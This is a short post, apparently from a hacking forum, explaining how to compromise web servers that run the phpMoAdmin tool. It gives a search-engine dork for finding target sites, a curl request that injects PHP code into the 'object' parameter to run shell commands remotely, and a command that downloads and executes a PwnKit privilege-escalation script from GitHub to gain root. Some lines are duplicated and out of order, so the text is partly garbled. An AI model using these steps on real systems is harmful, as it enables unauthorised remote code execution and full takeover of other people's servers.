The title isn't a misspell, it's for http://www.phpmoadmin.com .
Find a site that uses it: inurl:modadmin.php
And it's done 
Most of these servers run outdated linux, so
is enough to become UID 0.
Find a site that uses it: inurl:modadmin.php
Bash:
curl -k "https://site/moadmin.php" -d "object=1;system('id');"Most of these servers run outdated linux, so
Bash:
sh -c "$(curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh)"